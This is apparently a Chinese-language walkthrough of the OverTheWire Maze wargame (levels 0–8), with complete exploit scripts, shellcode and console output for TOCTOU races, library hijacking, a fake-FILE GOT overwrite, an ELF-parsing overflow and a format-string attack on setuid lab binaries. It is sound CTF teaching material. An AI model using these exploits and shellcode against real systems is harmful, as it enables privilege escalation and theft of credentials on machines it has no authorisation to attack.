level 0 → level 1
1 2 3 4 5 6 7
| SSH Information Host: maze.labs.overthewire.org Port: 2225 User: maze0 Pass: maze0 Passwords: /etc/maze_pass/ Binaries: /maze/
|
Maze 是一个侧重 exploitation 技巧的 wargame,难度 5/10,共 9
关(0-8)。涵盖 TOCTOU race condition、library
hooking、shellcode、self-modifying code、自定义 ELF 解析、ptrace
反调试、格式字符串漏洞等。
所有 binary 均为 32-bit i386 ELF,编译时带 -g debug info
和 stack protector,nasm/ld 可用,gcc 可用 -m32 编译。
1 2 3 4 5 6 7 8 9 10 11
| maze0@maze:~$ ls -la /maze/ total 140 -r-sr-x--- 1 maze1 maze0 13408 maze0 -r-sr-x--- 1 maze2 maze1 12252 maze1 -r-sr-x--- 1 maze3 maze2 12708 maze2 -r-sr-x--- 1 maze4 maze3 4728 maze3 -r-sr-x--- 1 maze5 maze4 16220 maze4 -r-sr-x--- 1 maze6 maze5 14884 maze5 -r-sr-x--- 1 maze7 maze6 14204 maze6 -r-sr-x--- 1 maze8 maze7 14716 maze7 -r-sr-x--- 1 maze9 maze8 16324 maze8
|
每个 level 的 binary 命名规则:/maze/mazeN 是 setuid
maze(N+1),跑在 mazeN 下,目标是读
/etc/maze_pass/maze(N+1)。
经典 TOCTOU (Time-of-check Time-of-use)
竞争条件。
Binary 逻辑(r2 反汇编):
memset(buf, 0, 0x14) — 清空 20 字节 buffer
access("/tmp/128ecf542a35ac5270a87dc740918404", R_OK) —
用 real uid (maze0) 检查可读性
- 如果 access 失败 → 直接 return
setresuid(maze1, maze1, maze1) — 全部提权到 maze1
open(path, O_RDONLY) → read(fd, buf, 19) →
write(1, buf, 19) — 读取并输出
race window 在 access() 和 open()
之间,只有十几个指令周期。ln -sf 太慢,需要用
rename() 原子交换预创建的 symlink:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #include <stdio.h> #include <unistd.h> #include <string.h>
#define TARGET "/tmp/128ecf542a35ac5270a87dc740918404"
int main() { symlink("/etc/maze_pass/maze0", "/tmp/_m0"); symlink("/etc/maze_pass/maze1", "/tmp/_m1"); while (1) { rename("/tmp/_m0", TARGET); symlink("/etc/maze_pass/maze0", "/tmp/_m0"); rename("/tmp/_m1", TARGET); symlink("/etc/maze_pass/maze1", "/tmp/_m1"); } }
|
1 2 3 4 5 6 7 8 9
| maze0@maze:/tmp$ gcc -m32 -o toggle toggle.c maze0@maze:/tmp$ ./toggle & maze0@maze:/tmp$ for i in $(seq 1 1000); do result=$(/maze/maze0 2>/dev/null) if [ -n "$result" ]; then echo "HIT: $result"; break fi done HIT: **********
|
原理:rename() 在同一文件系统上是原子的,target
始终指向一个有效文件(无 broken symlink 窗口)。access()
通过时 link 指向 maze0(maze0 可读),open() 时已被换为
maze1(maze1 可读)。
kfL7RRfpkY
level 1 → level 2
maze1 的 binary 链接了一个不存在的 ./libc.so.4:
1 2 3 4 5 6
| maze1@maze:~$ /maze/maze1 /maze/maze1: error while loading shared libraries: ./libc.so.4: cannot open ...
maze1@maze:~$ readelf -d /maze/maze1 | grep NEEDED NEEDED ./libc.so.4 NEEDED libc.so.6
|
Binary 只调用 puts("Hello World!")。创建 hook library
劫持 puts() 即可读密码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <string.h>
int puts(const char *message) { FILE *fp; char buffer[30] = {0}; fp = fopen("/etc/maze_pass/maze2", "r"); if (fp) { fread(buffer, 29, 1, fp); fclose(fp); } printf("PASSWORD: %s\n", buffer); return printf("Hooked: %s\n", message ? message : "(null)"); }
|
1 2 3 4 5
| maze1@maze:/tmp/work$ gcc -m32 -shared -fPIC -fno-stack-protector \ -o libc.so.4 hookputs.c -ldl maze1@maze:/tmp/work$ /maze/maze1 PASSWORD: ********** Hooked: Hello World!
|
注意需要 -fno-stack-protector 关闭 stack canary,否则 ld
链接时报 __stack_chk_fail_local 未定义。
PBeZRPjetr
level 2 → level 3
maze2 的 binary 从 argv[1] 复制 8 字节到栈上
buffer,然后 call *buffer — 8 字节 shellcode 约束。
反汇编要点:
1 2 3 4
| cmpl $2, 8(%ebp) ; if argc != 2 → exit(1) strncpy(buf, argv[1], 8) ; copy 8 bytes mov buf_addr, %eax call *%eax ; execute shellcode
|
解决方案:真正 shellcode 存入环境变量 SC,8 字节只做
push <addr>; ret(6 字节)。
maze3 uid = 15003 = 0x3a9b。用 pwntools 生成完整 shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| maze2@maze:/tmp/work$ python3 -c " from pwnlib.asm import asm import sys sc = asm(' xor eax,eax;mov al,70 xor ebx,ebx;mov bx,0x3a9b xor ecx,ecx;mov cx,0x3a9b int 0x80 xor eax,eax;push eax push 0x68732f2f;push 0x6e69622f mov ebx,esp;xor ecx,ecx xor edx,edx;mov al,11 int 0x80 ', arch='i386') sys.stdout.buffer.write(b'\x90'*200 + sc) " > sc.bin
maze2@maze:/tmp/work$ export SC=$(cat sc.bin) maze2@maze:/tmp/work$ gcc -m32 -o getaddr -xc - <<< '#include <stdio.h> #include <stdlib.h> int main(){printf("SC:%p\n",getenv("SC"));}'
maze2@maze:/tmp/work$ ./getaddr SC at 0xffffdcd0
maze2@maze:/tmp/work$ /maze/maze2 $(python3 -c " from pwnlib.asm import asm import sys sys.stdout.buffer.write(asm('push 0xffffdcd0; ret', arch='i386')) ") $ cat /etc/maze_pass/maze3
|
DSEiCewQOv
level 3 → level 4
maze3 的 binary 是静态链接的(statically
linked),使用自修改代码(self-modifying code)。
mprotect() 设置代码段 RWX,然后用 key
0x12345678 XOR 解码 d1 函数区域,reveal 出一段
shellcode。shellcode 检查 argv[1] == 0x1337c0de,通过则
setreuid(maze4) + execve("/bin/sh")。
1 2 3
| maze3@maze:~$ /maze/maze3 $(printf '\xde\xc0\x37\x13') <<< "cat /etc/maze_pass/maze4" **********
|
注意:0x1337c0de 作为 int 是 little-endian
\xde\xc0\x37\x13。
vghylBpihH
level 4 → level 5
maze4 的 binary 读取用户提供的文件,解析为 ELF header + program
header,验证通过后 execv() 执行。
验证逻辑(反汇编):
read(fd, &ehdr, 0x34) — 读 52 bytes ELF header
到栈上
lseek(fd, ehdr.e_phoff, SEEK_SET) — 定位到 program
header
read(fd, &phdr, 0x20) — 读 32 bytes program
header
- 检查 1:
phdr.p_paddr == ehdr.e_ident[7] * ehdr.e_ident[8](两个
byte 乘积)
- 检查 2:
stat.st_size <= 0x7b(文件大小 ≤ 123 bytes)
puts("valid file, executing"); execv(file, NULL, NULL);
execv() 保留 setuid 权限 — 但 shell
(/bin/sh) 会主动 drop privilege。需要编译一个专用 reader
binary。
1 2 3 4 5 6 7 8 9
| maze4@maze:/tmp/work$ cat > reader.c << EOF #include <unistd.h> #include <fcntl.h> int main(){char b[50]={0};int fd=open("/etc/maze_pass/maze5",0); int n=read(fd,b,49);write(1,b,n);return 0;} EOF
maze4@maze:/tmp/work$ TMPDIR=. gcc -m32 -o reader reader.c maze4@maze:/tmp/work$ ln -sf reader r
|
ELF header 与 shebang #!/tmp/maze4w/r\n
重叠。e_ident[7] 和 [8] 由 shebang 的第 7、8
字节决定:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| maze4@maze:/tmp/work$ python3 -c " import struct sh = b'#!/tmp/maze4w/r\n' b7, b8 = sh[7], sh[8] # 0x6d ('m'), 0x61 ('a') prod = b7 * b8 # 0x295d pad = 28 - len(sh) # 补齐到 byte 28(e_phoff 位置) data = sh + b'\x00'*pad + struct.pack('<I',0x20) + b'B'*12 + struct.pack('<I',prod) + b'C'*16 open('elf_file','wb').write(data) "
maze4@maze:/tmp/work$ chmod +x elf_file maze4@maze:/tmp/work$ /maze/maze4 elf_file valid file, executing **********
|
- shebang 指向编译好的 reader binary(不 drop privilege)
- ELF header 字节与 shebang 重叠,
e_ident[7] 和
[8] 必须是 shebang 的实际字符
e_phoff = 0x20 让 program header 与 ELF header
尾部重叠
p_paddr(PHDR 偏移 0xc)必须等于两个 e_ident
字节的乘积
fobwgnzRy0
level 5 → level 6
maze5 的 binary 要求输入 username (8 字符) 和 key (8 字符),调用
foo(user, pass) 校验。
反编译逻辑:
1 2 3 4 5 6 7 8 9 10 11 12
| int foo(char* user, char* pass) { char p[9] = {0x70, 0x72, 0x69, 0x6e, 0x74, 0x6c, 0x6f, 0x6c}; for (int i = 0; i < strlen(pass); ++i) { p[i] -= user[i] + 2 * i - 0x41; } int i = strlen(pass); do { i -= 1; if (i == 0) return 1; } while (pass[i] == p[i]); return 0; }
|
要 pass:user[i] + 2*i - 0x41 = 0 →
user[i] = chr(0x41 - 2*i)。此时 p
数组不变,key = 原始 p 值 = printlol。
Binary 使用了 ptrace(PTRACE_TRACEME) 反调试。通过后调用
system("/bin/sh")。
但 pipeline 传入 input 时 system() 产生的 shell 会收到
SIGTTOU。需要使用 pty:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import pty, os, time
pid, fd = pty.fork() if pid == 0: os.execv("/maze/maze5", ["/maze/maze5"]) else: time.sleep(0.5) os.write(fd, b"A?=;9753\n") time.sleep(0.3) os.write(fd, b"printlol\n") time.sleep(0.3) os.write(fd, b"cat /etc/maze_pass/maze6\n") time.sleep(0.5) while True: data = os.read(fd, 4096) if not data: break print(data.decode(errors="ignore"), end="")
|
1 2 3 4 5 6
| X---------------- Username: A?=;9753 Key: printlol
Yeh, here's your shell **********
|
dOM2C7ZKlG
level 6 → level 7
maze6 的 binary 是一个 strcpy overflow + memfrob XOR + fake FILE
的组合题。
1 2 3 4 5 6
| maze6@maze:~$ /maze/maze6 usage: /maze/maze6 file2write2 string
maze6@maze:~$ /maze/maze6 /tmp/out test maze6@maze:~$ cat /tmp/out /tmp/out : khin
|
Binary 分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| main: sub esp, 0x104 ; buf[260] at ebp-0x104 cmp [ebp+8], 3 ; argc == 3? jne usage ; fd = fopen(argv[1], "w") call fopen ; → eax = 0x0804c1a0 (deterministic) mov [ebp-4], eax ; fd at ebp-4 ; strcpy(buf, argv[2]) lea eax, [ebp-0x104] push [ebp+0xc]+8 ; argv[2] push eax call strcpy ; NO bounds check ; len = strlen(buf) ; memfrob(buf, len) ; XOR each byte with 0x2A call strlen push eax lea eax, [ebp-0x104] push eax call memfrob ; fprintf(fd, "%s : %s\n", argv[1], buf) push [ebp-0x104] ; buf push argv[1] push "%s : %s\n" push [ebp-4] ; fd call fprintf ; exit(0) push 0 call exit ; never returns
|
安全属性(readelf -l + objdump -R):
1 2 3 4 5
| ASLR off (`randomize_va_space=0`) RELRO none — GOT writable NX disabled — GNU_STACK RWE Stack canary none (`-fno-stack-protector`) PIE none — fixed base 0x08048000
|
关键常量(ASLR off 下固定):
1 2 3 4 5 6
| libc 32-bit base = 0xf7d82000 _IO_file_jumps = 0xf7faa7a8 (libc + 0x2287a8) fopen → FILE* = 0x0804c1a0 (heap) buf = 0xffffda74 (ebp-0x104) strcpy@got = 0x0804b204 exit@got = 0x0804b208
|
栈布局(从低到高):
1 2 3 4 5 6 7
| ebp-0x104 buf[0] ← strcpy 目标 ... ebp-0x04 fd (FILE*) ← offset 256 from buf ebp saved ebp ebp+0x04 return addr ebp+0x08 argc ebp+0x0c argv
|
漏洞利用链
目标:覆写 exit@got 为 shellcode
地址,让 exit(0) 跳转到 shellcode。
约束:
strcpy(buf, argv[2]) 只能通过 argv 传入,不能含
\x00(否则 strcpy 截断)
memfrob(buf, len) XOR 整个 buf 区域 — 所有数据需
pre-XOR(payload_byte ^ 0x2A = desired_byte)
fprintf 不接受 fake FILE* → 需要在栈上构造合法的
_IO_FILE 结构
exit(0) 无 return → 只能通过 GOT overwrite
劫持控制流
关键洞察 1:pre-XOR 一切
1 2 3 4 5 6
| def pre_xor(val): return val ^ 0x2A2A2A2A
|
关键洞察 2:argv[1] 即 shellcode 地址
fprintf 输出 "%s : %s\n",第一个 %s 是
argv[1](文件名)。如果 argv[1] 恰好是 4
字节,则 exit@got 的前 4 字节 = argv[1] 的内容。
因此将 argv[1] 设为 4 字节的 shellcode
地址(\x74\xda\xff\xff = 0xffffda74),fopen
以 "w" 模式打开这个怪文件名不会有问题(Linux 允许任意非
\x00 非 / 的字节做文件名)。只需从
/tmp 目录运行,相对路径刚好 4 字节。
关键洞察 3:glibc 2.39 32-bit 的 _IO_FILE
布局
通过 GDB dump fopen 返回的真实 FILE 结构,确定各字段偏移:
1 2 3 4 5 6 7 8 9 10
| offset field real FILE value our fake FILE ------ ---- ---------------- ------------- 0x00 _flags 0xfbad3484 0xfbad2480 (no _IO_NO_WRITES) 0x10 _IO_write_base 0x00000000 0x0804b208 (exit@got) 0x14 _IO_write_ptr 0x00000000 0x0804b208 (empty buffer) 0x18 _IO_write_end 0x00000000 0x0804c208 (exit@got+0x1000) 0x34 _chain 0xf7fabca0 0x00000000 (NULL, end of chain) 0x38 _fileno 0x00000003 0x00000002 (stderr if overflow flush) 0x48 _lock 0x0804c238 0x0804c238 (reuse real FILE's lock) 0x94 vtable 0xf7faa7a8 0xf7faa7a8 (_IO_file_jumps)
|
关键点:
_IO_write_base == _IO_write_ptr == exit@got → fprintf
直接写入 GOT
_IO_write_end 远大于输出长度 → 永远不会触发 buffer
flush(避免 vtable overflow 调用)
_lock 复用真实 FILE 的 lock(单线程程序,无竞争)
vtable 指向 libc 的合法
_IO_file_jumps(通过 _IO_validate_vtable
检查)
Exploit 代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| import struct, os
def pre_xor_dword(val): return val ^ 0x2A2A2A2A
def pre_xor_bytes(data): return bytes([b ^ 0x2a for b in data])
buf_addr = 0xffffda74 exit_got = 0x0804b208 libc_base = 0xf7d82000 io_file_jumps = libc_base + 0x002287a8 real_lock = 0x0804c238
fake_file_off = 0x30 fake_file_addr = buf_addr + fake_file_off
fake = b'' fake += struct.pack('<I', pre_xor_dword(0xfbad2480)) fake += struct.pack('<I', pre_xor_dword(0)) * 3 fake += struct.pack('<I', pre_xor_dword(exit_got)) fake += struct.pack('<I', pre_xor_dword(exit_got)) fake += struct.pack('<I', pre_xor_dword(exit_got+0x1000)) fake += struct.pack('<I', pre_xor_dword(exit_got)) fake += struct.pack('<I', pre_xor_dword(exit_got+0x1000)) for _ in range(5): fake += struct.pack('<I', pre_xor_dword(0)) fake += struct.pack('<I', pre_xor_dword(2)) for _ in range(3): fake += struct.pack('<I', pre_xor_dword(0)) fake += struct.pack('<I', pre_xor_dword(real_lock)) fake += struct.pack('<Q', pre_xor_dword(0)) for _ in range(4): fake += struct.pack('<I', pre_xor_dword(0)) fake += struct.pack('<Q', pre_xor_dword(0)) fake += struct.pack('<I', pre_xor_dword(0)) for _ in range(9): fake += struct.pack('<I', pre_xor_dword(0)) fake += struct.pack('<I', pre_xor_dword(io_file_jumps))
assert len(fake) == 0x98
sc = ( b'\x31\xc0\x50\x68\x2f\x2f\x73\x68' b'\x68\x2f\x62\x69\x6e\x89\xe3\x50' b'\x53\x89\xe1\x99\xb0\x0b\xcd\x80' ) sc_prexor = pre_xor_bytes(sc)
payload = sc_prexor payload += bytes([0x2a] * (fake_file_off - len(payload))) payload += fake payload += bytes([0x2a] * (0x100 - len(payload))) payload += struct.pack('<I', pre_xor_dword(fake_file_addr))
argv1 = struct.pack('<I', buf_addr)
os.chdir('/tmp') os.execv('/maze/maze6', ['/maze/maze6', argv1, payload])
|
执行:
1 2 3
| maze6@maze:/tmp$ python3 exploit.py $ cat /etc/maze_pass/maze7 **********
|
技术要点
为什么 fake FILE 不触发 vtable overflow?
fprintf 输出总长度 ≈ len(argv[1]) + 3 + len(buf) + 1 ≈ 4
+ 3 + 260 + 1 = 268
bytes。_IO_write_end - _IO_write_base = 0x1000(4KB),远超输出长度。_IO_putc
宏检测到 _IO_write_ptr < _IO_write_end
时直接内存写入,不触发 __overflow() → vtable
调用。因此 vtable 仅需通过 _IO_validate_vtable
的地址范围检查,不需要实际调用。
为什么 lock 复用真实 FILE 的?
glibc 的 _IO_lock_lock(fp) 检查
fp->_lock != NULL 才会加锁。用真实 FILE 的
lock(0x0804c238)保证 lock 结构合法且初始为 unlocked
状态。
为什么 memfrob 不影响 shellcode?
所有放入 payload 的字节都经过
pre_XOR(byte ^ 0x2A)。memfrob 再 XOR
一次恢复原值。因此 shellcode 和 fake FILE 在 XOR 后回到预期状态。
B6XkM3Syq6
level 7 → level 8
/maze/maze7 是一个 ELF section header
dumper。读取攻击者提供的 ELF 文件,信任 header 里的
e_shoff、e_shnum、e_shentsize、e_shstrndx,循环打印
section 信息。
漏洞点在第二次读取 section header:
1 2
| read(fd, &shdr_on_stack, e_shentsize); printf(strtab + shdr.sh_name, shdr.sh_addr, shdr.sh_size);
|
shdr_on_stack 是固定大小的 Elf32_Shdr,但
e_shentsize 完全由文件控制。设大以后 read()
会从 section header 覆盖到 saved return address。
live 调试测得偏移:section-header stack buffer + 64 → saved eip。
直接覆盖会先在 free(ptr) / free(strs)
崩掉,因为栈上的 heap 指针也被污染。稳定做法:
- 构造最小 fake ELF
e_shentsize = 220,触发大读
- 第一段 section header 保持基本合法,让程序走到
printf()
- 覆盖局部变量
ptr = NULL、strs = NULL,让后续
free(NULL) 安全返回
sh_name 不用 string table 偏移,放成一个可读 rodata
绝对地址,满足 printf(ptr + sh_name, ...)
- saved eip 跳到栈上 NOP sled,shellcode 执行
setresuid(15008,15008,15008); execve('/bin/sh')
利用生成脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pathlib import Path import struct
def ehdr(e_shoff, e_shnum, e_shentsize, e_shstrndx): e=bytearray(52); e[:4]=b'\x7fELF'; e[4]=1; e[5]=1; e[6]=1 struct.pack_into('<I',e,0x20,e_shoff); struct.pack_into('<H',e,0x2e,e_shentsize); struct.pack_into('<H',e,0x30,e_shnum); struct.pack_into('<H',e,0x32,e_shstrndx) return e
def build(ret, buf, path): data=bytearray(b'\x00'*0x800) data[:52]=ehdr(0x100,0,220,0) data[0x180:0x183]=b'\x00Z\x00' sc=bytes.fromhex('31c0b0a431db66bba03a31c966b9a03a31d266baa03acd8031c050682f2f7368682f62696e89e3505389e131d2b00bcd80') payload=bytearray(b'\x00'*220) struct.pack_into('<I', payload, 0x00, 0x0804a008) struct.pack_into('<I', payload, 0x0c, 0x11111111) struct.pack_into('<I', payload, 0x10, 0x180) struct.pack_into('<I', payload, 0x14, 3) payload[72:74]=b'A\x00' struct.pack_into('<I', payload, 40, 0) struct.pack_into('<I', payload, 44, 0) struct.pack_into('<I', payload, 48, 0) struct.pack_into('<I', payload, 52, 0) struct.pack_into('<I', payload, 56, 0x42424242) struct.pack_into('<I', payload, 60, 0x43434343) struct.pack_into('<I', payload, 64, ret) payload[80:160]=b'\x90'*80 payload[160:160+len(sc)]=sc data[0x100:0x100+len(payload)]=payload Path(path).write_bytes(data)
if __name__ == '__main__': import sys ret=int(sys.argv[1],16) if len(sys.argv)>1 else 0xffffdb70 buf=int(sys.argv[2],16) if len(sys.argv)>2 else 0xffffdb14 build(ret, buf, 'maze7_exploit.elf') print(hex(ret), hex(buf))
|
执行:
1 2 3 4 5
| maze7@maze:/tmp$ /maze/maze7 maze7_exploit.elf $ id uid=15008(maze8) gid=15007(maze7) groups=15007(maze7) $ cat /etc/maze_pass/maze8 **********
|
eQdZB1qy6L
level 8 → level 9
/maze/maze8 是 TCP format string
service。接受端口参数监听本地,错误口令路径:
1 2 3
| recv(client_fd, input, 511, 0); snprintf(reply, 512, input); send(client_fd, reply, strlen(reply), 0);
|
探测 format offset:
1
| AAAA.%1$08x -> AAAA.41414141
|
payload 开头的 dword 就是第一个 positional
argument。strlen() 在 snprintf()
后立刻调用,可覆盖 strlen@got:
payload 结构:
1 2 3 4 5 6
| payload = p32(strlen_got) payload += p32(strlen_got + 2) payload += b"%<low-8>x%1$hn" payload += b"%<high-low>x%2$hn" payload += b"\x90" * pad payload += shellcode
|
最初尝试把 strlen@got 指向 /bin/sh
shellcode。GDB 下能看到成功执行 /usr/bin/dash,但远程
socket 没有交互输出:/bin/sh 的 stdin/stdout 不等于 client
socket。
最终解法是不 spawn shell,而是让 shellcode 直接完成取证:
1 2 3 4 5
| setresuid(15009,15009,15009) open('/etc/maze_pass/maze9', O_RDONLY) read(fd, esp, 64) write(4, esp, n) ; accepted client fd exit(0)
|
最终脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| import socket import struct import subprocess import sys import time import select
PORT = 31338 STRLEN_GOT = 0x0804b268 TARGET = 0xffffda50
SC = bytes.fromhex( '31c0b0a431db66bba13a89d989dacd80' '31c05068617a65396873732f6d68655f7061682f6d617a682f65746389e331c931d2b005cd80' '89c389e1b240b003cd80' '89c231dbb304b004cd80' '31dbb001cd80' )
def payload_for(target): low = target & 0xffff high = (target >> 16) & 0xffff writes = [(STRLEN_GOT, low, 1), (STRLEN_GOT + 2, high, 2)] writes.sort(key=lambda item: item[1]) prefix = struct.pack('<II', writes[0][0], writes[1][0]) count = len(prefix) pad1 = (writes[0][1] - count) % 0x10000 pad2 = (writes[1][1] - writes[0][1]) % 0x10000 fmt = prefix + f'%{pad1}x%1$hn%{pad2}x%2$hn'.encode() return fmt + b'\x90' * (200 - len(fmt)) + SC + b'\n'
proc = subprocess.Popen(['/maze/maze8', str(PORT)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) time.sleep(0.4) try: sock = socket.create_connection(('127.0.0.1', PORT), timeout=2) sock.recv(200) sock.sendall(payload_for(TARGET)) end = time.time() + 4 out = b'' while time.time() < end: readable, _, _ = select.select([sock], [], [], 0.2) if not readable: continue chunk = sock.recv(4096) if not chunk: break out += chunk sys.stdout.buffer.write(out) finally: proc.terminate() try: proc.wait(timeout=1) except subprocess.TimeoutExpired: proc.kill()
|
live 输出:
1 2
| maze8@maze:/tmp$ python3 solve_maze8_readpass.py **********
|
完成证明:
1 2 3 4 5
| $ ssh -p 2225 maze9@maze.labs.overthewire.org maze9@maze:~$ id uid=15009(maze9) gid=15009(maze9) groups=15009(maze9) maze9@maze:~$ ls -l /maze /etc/maze_pass/maze9 -r-------- 1 maze9 maze9 11 Apr 3 15:19 /etc/maze_pass/maze9
|
TtMMzTuXyi